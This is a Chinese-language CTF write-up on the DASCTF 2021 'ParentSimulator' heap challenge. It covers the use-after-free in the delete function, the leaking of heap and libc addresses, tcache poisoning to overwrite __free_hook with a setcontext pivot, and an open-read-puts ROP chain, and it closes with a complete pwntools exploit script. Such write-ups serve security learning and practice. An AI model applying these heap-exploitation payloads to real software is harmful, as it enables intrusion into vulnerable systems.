参考: www.anquanke.com/post/id/236832

DASCTF 2021中的ParentSimulator

一、题目代码分析

1
2
3
4
5
6
7
8
9
10
int sub_1641()
{
puts("1.Give birth to a child");
puts("2.Change child's name");
puts("3.Show children's name");
puts("4.Remove your child");
puts("5.Edit child's description.");
puts("6.Exit");
return printf(">> ");
}

base+4060这个地址存储的是标志位,表示是否被使用了 ( 记为 chunk_list_flag)

base+40a0存储的是chunk的地址( 记为 chunk_list)

chunk结构分析如下

image-20240123152741503

0x0 → pre_size

0x8 → size

0x10 → name

0x18 → gender

0x20 → des

1. add

添加的话可以重复添加到一个序号,覆盖之前的,比如一直选择1号,第二次添加会覆盖第一次的

2. changename

逻辑就是判断chunk_list_flag是否为1,为1的话,说明存在这个chunk,然后就去修改

3. show

​ 要检查chunk_list_flag、

4. delete

​ 这里存在漏洞,未检查chunk_list_flag, 并且free之后没有清零, 存在UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int sub_196B()
{
__int64 v0; // rax
int v2; // [rsp+Ch] [rbp-4h]

puts("Please input index?");
LODWORD(v0) = sub_15E9();
v2 = v0;
if ( (int)v0 >= 0 && (int)v0 <= 9 )
{
v0 = qword_40A0[(int)v0];
if ( v0 )
{
free((void *)qword_40A0[v2]);
dword_4060[v2] = 0;
LODWORD(v0) = puts("Done");
}
}
return v0;
}

​ 首先dword_4060并没有检查,那你把它置为0又有什么用呢? 反正没有检查,然后虽然把40a0处的地址释放了,但是没有清0呀,导致还可以继续释放

5. changecontent

也是先判断chunk_list_flag是否为1

666. 改性别

只能改一次,这里并没有检查chunk_list_flag,所以一定要细心,当时没仔细看这里,并且会直接打印当前的性别,所以可以利用这个进行信息泄露,因为这里是bk的位置

如果目标堆块处于 tcache中,那么修改性别就能泄露 堆地址

如果目标堆块处于 unsort bin中,那么修改性别就有可能泄露 libc地址

二、解题思路分析

保护全开

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

开启了沙箱

​ 常规思路便是通过ORW来读取flag

1
2
3
4
5
6
7
8
9
10
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL

libc版本2.31

版本: Ubuntu GLIBC 2.31-0ubuntu9

​ ORW的一个通用思路是劫持free_hook等,写入setcontext的gadget,来设置相应的寄存器,然后劫持控制流,2.29版本之前和之后有所不同( 之前可以直接通过rdi索引, rdi是传入的chunk的地址

setcontext

2.29之前

1
2
3
4
5
6
7
8
<setcontext+53>:  mov    rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
<setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
<setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
<setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
<setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
<setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
<setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]

​ 之后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
580dd:       48 8b a2 a0 00 00 00    mov    rsp,QWORD PTR [rdx+0xa0]
580e4: 48 8b 9a 80 00 00 00 mov rbx,QWORD PTR [rdx+0x80]
580eb: 48 8b 6a 78 mov rbp,QWORD PTR [rdx+0x78]
580ef: 4c 8b 62 48 mov r12,QWORD PTR [rdx+0x48]
580f3: 4c 8b 6a 50 mov r13,QWORD PTR [rdx+0x50]
580f7: 4c 8b 72 58 mov r14,QWORD PTR [rdx+0x58]
580fb: 4c 8b 7a 60 mov r15,QWORD PTR [rdx+0x60]
580ff: 64 f7 04 25 48 00 00 test DWORD PTR fs:0x48,0x2
58106: 00 02 00 00 00
5810b: 0f 84 b5 00 00 00 je 581c6 <setcontext@@GLIBC_2.2.5+0x126>
........................
581c6: 48 8b 8a a8 00 00 00 mov rcx,QWORD PTR [rdx+0xa8]
581cd: 51 push rcx
581ce: 48 8b 72 70 mov rsi,QWORD PTR [rdx+0x70]
581d2: 48 8b 7a 68 mov rdi,QWORD PTR [rdx+0x68]
581d6: 48 8b 8a 98 00 00 00 mov rcx,QWORD PTR [rdx+0x98]
581dd: 4c 8b 42 28 mov r8,QWORD PTR [rdx+0x28]
581e1: 4c 8b 4a 30 mov r9,QWORD PTR [rdx+0x30]
581e5: 48 8b 92 88 00 00 00 mov rdx,QWORD PTR [rdx+0x88]
581ec: 31 c0 xor eax,eax
581ee: c3 ret

​ 能看到这里有两个重点,一个是mov rsp,QWORD PTR [rdx+0xa0],另外一个是mov rcx,QWORD PTR [rdx+0xa8];push rcx

​ 从这里可以看出,如果能控制rdx及其所在区域(比如一个chunk),那么就可以控制rsp,rcx,然后ret到rsp所在区域继续执行。

问题就转换为了如何控制rdx

特殊gadget

libcbase + 0x1547a0

1
2
mov rdx, qword ptr [rdi + 8]   # 设置rdx
call qword ptr [rdx + 0x20] # 填入setcontext gadget的地址

​ 所以可以先想办法控制rdi及其所在区域,然后跳转到setcontext (伪造或者定制一个特殊的chunk即可)

image-20240130163535913

image-20240130163606558

三、利用步骤

1.泄露地址

泄露堆地址

​ 利用tcache的double free,free进到tcache是不做检查的,所以才要先add一下,让tcache有一个空位

image-20240130155607450

image-20240130155547108

​ 当第二次free(8)的时候,8已经被free两次了其实,一次在usbin中,一次在tcache中

​ 这里继续add(0,1,’1’) 占据的是0号的chunk_list,这里申请到的是tcache中的8,bb20。 如此一来,chunk_list的0号和8号都是一个chunk了, 这样一个free后,另一个就可以show来泄露信息

image-20240123154856126

​ 然后继续free(8), 虽然8不能show,但这时候0是可以show的,所以show 0就得到了泄露的堆地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# ----------------------------- 1 利用double free构造堆块重叠, 泄露heap和libc地址
for i in range(10):
add(i,1,'a')
for i in range(7): # 填充满tcache
free(6-i)
# 合并进入usbin, 先8后7,反过来呢? 没影响 这俩合并在一起。 目的其实是后面可以单独操纵其中一块
free(7)
free(8)
# 从tcache中取出第一块分配, tcache后进先出, 所以分配的是0号
add(0,1,'1')
# 这里用到了double free,将合并状态下的一部分chunk放入tcache,造成堆块重叠(谁和谁重叠呢? tcache的第一个和usbin的?
free(8) # 为啥这里能再次free呢? free进tcahe,所以前面用到了一个add。。
add(0,1,'1')# 再次申请,使放入tcache中的usbin chunk被分配(8号),泄露堆地址(为什么还是可以0呢?编号是可以覆盖的,但是实际上还是要创建新的内存
free(8) # 继续double free 这里会填入地址啦,就是从这里泄露的
show(0) # 为什么不能show 8呢 要检测chunk_list_flag
ru('nder: ')
heap_addr = uu64(r(6))
leak(heap_addr)

泄露libc地址

    把tcache都申请了,然后把unsortedbin再申请一半,剩下的一半的fd和bk就是main_arena的地址了

​ 记住这里申请的1的话也是bb20,就是那个uaf的堆块,这样的话,0 1都是它了,然后show 0 (1也行)就能show出来usbin的bk,也就能泄露堆地址了

1
2
3
4
5
6
for i in range(1,9):
add(i,1,str(i)+str(i))
show(0)
ru('nder: ')
base = uu64(r(6))-0x1ebbe0
leak(base)

2. 在堆块上布置 触发 setcontext链的 gadget及setcontext用到的数据

image-20240130182255242

原理

​ 因为是第一次使用这个手法,看原文wp很蒙, 但结合后面的步骤就理解了.

​ 其实这里就是要布置一下触发free_hook之后的行为,让它设置好rdx后把控制流转到setcontext, 我们是把free_hook修改为了这个gadget

1
2
mov rdx, qword ptr [rdi + 8]
call qword ptr [rdx + 0x20]

​ 于是乎,在free触发的时候,传入的第一个参数rdi是 要free的chunk的地址

​ 所以就是把chunk+8处的值传给rdx,也就是heap_addr+0x3a8-0x18,然后把heap_addr+0x3a8-0x18+0x20处的值,当作函数的地址进行调用, 在知道chunk地址的前提下,rdi+8可控的话,rdx+0x20的值也是可控的,

​ 然后跳到setcontext之后,还是以这个chunk为基础进行设置值,在setcontext中,用到了0xa0和0xa8,分别代表了rsp和ret后的第一条指令。

​ 所以最终会布置成这个样子

image-20240130152108965

实现步骤

​ 这里的目标是修改一个堆块的gender(chunk+8),虽然有666那个地方可以修改,但还是先用复杂一点的方法来. 如果要修改的话,就需要进行一个任意地址写,所以可以通过tcache poison (类似于double free) 申请到一个堆头前面的地址,然后来实现修改gender的效果

​ 这里的目标就是修改fd,把fd修改为要修改gender堆块的上面的地址

​ free(3) 上面的一个堆块,不知道为啥要选定这个(大概可以随便选一个,和0x380对应就行)

​ free(1) 1指向的堆块其实是bb20,也就是前面一直利用的覆盖的那半个220的堆块 ,这里用到了uaf,0的位置也是bb20,这时候编辑它,修改了fd (这里可见,chunk_list的0和1都是这个块,造成uaf

​ 然后两次add,就让9获得了要伪造堆块的地址( 为什么不直接在这里获取free_hook呢? 为什么要在这里伪造堆块呢?)(因为要修改bk,也就是rdi+8这个位置,作者这样弄其实是复杂了,虽然很通用,其实题目给出了一次修改性别的机会,估计就是用来干这个的)

​ 然后布置好chunk+8以及chunk+8所指向的地址的内容( 那个特殊的gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# ----- 2 构造堆块重叠,使得可以向chunk+8位置写入数据;令在堆块上布置 跳往 setcontext链 的gadget

add(9,1,'a') # 获取下面那一块usbin,这样的话 0 1 9 都是bb20了
free(3)
free(1)
name_edit(0,p64(heap_addr+0x380)[:-1]) # 要伪造的堆块的地址,也可以选其他的

add(8,1,'a')
add(9,1,'a')

pl = p64(0) + p64(0x111)
pl+= p64(0) + p64(heap_addr+0x3a8-0x18) # 在chunk2的gender字段放置地址addr,令addr+0x28指向chunk2的des字段
pl+= p64(setcontext)
pl+= (0xa0-len(pl))*'\x00' + p64(heap_addr+0x5d0) + p64(p_rdi_r)

content_edit(9,pl)

content_edit(9,pl) 这里就覆盖了之前的堆块了,至于为啥要写入390位置,因为要把这里当作头,然后3a0作为内容地址,这样就可以edit写入了,edit写入的其实是伪造了一个完整的堆块

3. 修改free_hook为 特殊 gadget

image-20240130182319582

​ 为什么要free7呢? free(7)应该是为了绕过检测、 反正必须要free一个,应该会有计数检测, free个没有影响的就可以了

1
2
3
4
5
6
7
# ----------------------------------------------- 3 set gadget into free_hook
free(7)
free(8)
pause()
name_edit(0,p64(free_hook)[:-1])
add(8,1,'8888')
add(7,1,p64(gadget)[:-1])

4. 布置ORW rop链

1
2
3
4
5
6
7
# ---------------------------------------------- 4 在堆块中布置rop链
pl = p64(heap_addr+0xb10) + p64(p_rsi_r) + p64(0) + p64(open_addr)
# 这里要注意选择open返回的fd指针
pl+= p64(p_rdi_r) + p64(4) + p64(p_rsi_r) + p64(heap_addr+0x500) + p64(p_rdx_r12_r) + p64(0x30)*2 + p64(read_addr)
pl+= p64(p_rdi_r) + p64(heap_addr+0x500) + p64(puts)
content_edit(4,pl)
name_edit(0,'/flag\x00\x00')

​ 这里红框的地址,指向flag字符串, 这里也是后面rop的起点,pop rdi的下一个位置,

image-20240130161913075

5. free触发

​ 在free触发的时候,传入的第一个参数rdi是 要free的chunk的地址 free(2),把这个参数传给特殊gadget,然后执行

1
2
mov rdx, qword ptr [rdi + 8]
call qword ptr [rdx + 0x20]

​ 所以就是把b3b0+8处的值传给rdx,也就是b3a0,然后把b3a0+0x20处的值,当作函数的地址,也就是b3c0,也就是setcontext

image-20240127194412645

setcontext = base + sym(‘setcontext’) + 61

image-20240123165326724

image-20240123165757086

​ 通过这个来设置寄存器的值,主要是通过rdx+ 0xa0 设置了rsp, ret的时候跳到后面rop那里,开始rop

​ rdx + 0xa8位置设置 pop rdi;ret; 这里的话,会被放到rcx,然后push rcx,所以这么布置

image-20240130152108965

这里其实设置哪个chunk都可以,只要找好对应关系就可以了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
#!/usr/bin/python
#coding=utf-8
#__author__:N1K0_

from pwn import *
import inspect
from sys import argv

def leak(var):
callers_local_vars = inspect.currentframe().f_back.f_locals.items()
temp = [var_name for var_name, var_val in callers_local_vars if var_val is var][0]
p.info(temp + ': {:#x}'.format(var))

s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
r = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
plt = lambda data :elf.plt[data]
got = lambda data :elf.got[data]
sym = lambda data :libc.sym[data]
itr = lambda :p.interactive()

local_libc = './libc.so.6'
remote_libc = ''
binary = './pwn'
context.binary = binary
elf = ELF(binary,checksec=False)

p = process(binary)
if len(argv) > 1:
if argv[1]=='r':
p = remote('1',1)
libc = elf.libc
# libc = ELF(remote_libc)

def dbg(cmd=''):
#os.system('tmux set mouse on')
context.terminal = ['tmux','splitw','-h']
gdb.attach(p,cmd)
pause()

context.terminal = ['tmux','splitw','-h']
gdb.attach(p)

"""
chunk_list = 0x40A0
chunk_list_flag = 0x04060
gender_chance = 0x4010

"""
# start
context.log_level = 'DEBUG'

def add(idx,sex,name):
sla('>> ','1')
sla('index?\n',str(idx))
sla('2.Girl:\n',str(sex))
sa("Please input your child's name:\n",name)
def name_edit(idx,name):
sla('>> ','2')
sla('index',str(idx))
sa('name:',name)
ru('Done!\n')
def show(idx):
sla('>>','3')
sla('index?',str(idx))
def free(idx):
sla('>>','4')
sla('index?',str(idx))
def change_sex(idx,sex):
sla('>>','666')
sla('index?',str(idx))
ru('Current gender:')
temp = uu64(r(6))
sla('2.Girl:',str(sex))
return temp
def content_edit(idx,data):
sla('>>','5')
sla('index?',str(idx))
sa('description:',data)
def quit():
sla('>>','6')

# ----------------------------- 1 利用double free构造堆块重叠, 泄露heap和libc地址
for i in range(10):
add(i,1,str(i))

for i in range(7):
free(6-i)
# 合并进入usbin
free(8)
# 合并进入usbin
free(7)
# 合并进入usbin
# 从tcache中取出第一块分配
add(0,1,'0')
# 合并进入usbin
# 将合并状态下的一部分chunk放入tcache,造成堆块重叠
free(8)
# 再次申请,使放入tcache中的usbin chunk被分配,泄露堆地址
add(0,1,'0')
# 合并进入usbin
free(8)
# 合并进入usbin
show(0)
# 合并进入usbin
ru('nder: ')
heap_addr = uu64(r(6))
leak(heap_addr)
# 合并进入usbin

for i in range(1,9):
add(i,1,str(i)+str(i))

show(0)
ru('nder: ')
base = uu64(r(6))-0x1ebbe0
leak(base)
# --------------------------- 2 构造堆块重叠,使得可以向chunk+8位置写入数据;令在堆块上布置setcontext链
open_addr = base + sym('open')
read_addr = base + sym('read')
puts = base + sym('puts')
gadget = base + 0x1547a0
free_hook = base + sym('__free_hook')
setcontext = base + sym('setcontext') + 61
p_rdi_r = base + 0x26b72
p_rdx_r12_r = base + 0x11c1e1
p_rsi_r = base + 0x27529
leak(free_hook)
leak(gadget)

add(9,1,'99')
free(3)
free(1)
name_edit(0,p64(heap_addr+0x380)[:-1])
print(hex(heap_addr+0x380))
add(8,1,'888')
add(9,1,'999')
pl = p64(0) + p64(0x111)
pl+= p64(0) + p64(heap_addr+0x3a8-0x18) # 在chunk2的gender字段放置地址addr,令addr+0x28指向chunk2的des字段

# setcontext
"""
gadget 0x154930
mov rdx, [rdi+8]
mov [rsp+0C8h+var_C8], rax
call qword ptr [rdx+20h]
"""
pl+= p64(setcontext)
pl+= (0xa0-len(pl))*b'\x00' + p64(heap_addr+0x5d0) + p64(p_rdi_r)
content_edit(9,pl)



# ----------------------------------------------- 3 set gadget into free_hook
free(7)
free(8)
pause()
name_edit(0,p64(free_hook)[:-1])
add(8,1,'8888')
add(7,1,p64(gadget)[:-1])


# ---------------------------------------------- 4 在堆块中布置rop链
pl = p64(heap_addr+0xb10) + p64(p_rsi_r) + p64(0) + p64(open_addr)
# 这里要注意选择open返回的fd指针
pl+= p64(p_rdi_r) + p64(4) + p64(p_rsi_r) + p64(heap_addr+0x500) + p64(p_rdx_r12_r) + p64(0x30)*2 + p64(read_addr)
pl+= p64(p_rdi_r) + p64(heap_addr+0x500) + p64(puts)
content_edit(4,pl)
name_edit(0,'/flag\x00\x00')

#command = 'b *'+ str(hex(gadget))+'\n'
#dbg(command)
# ---------------------------------------------- 5 trigger
free(2)
# end
itr()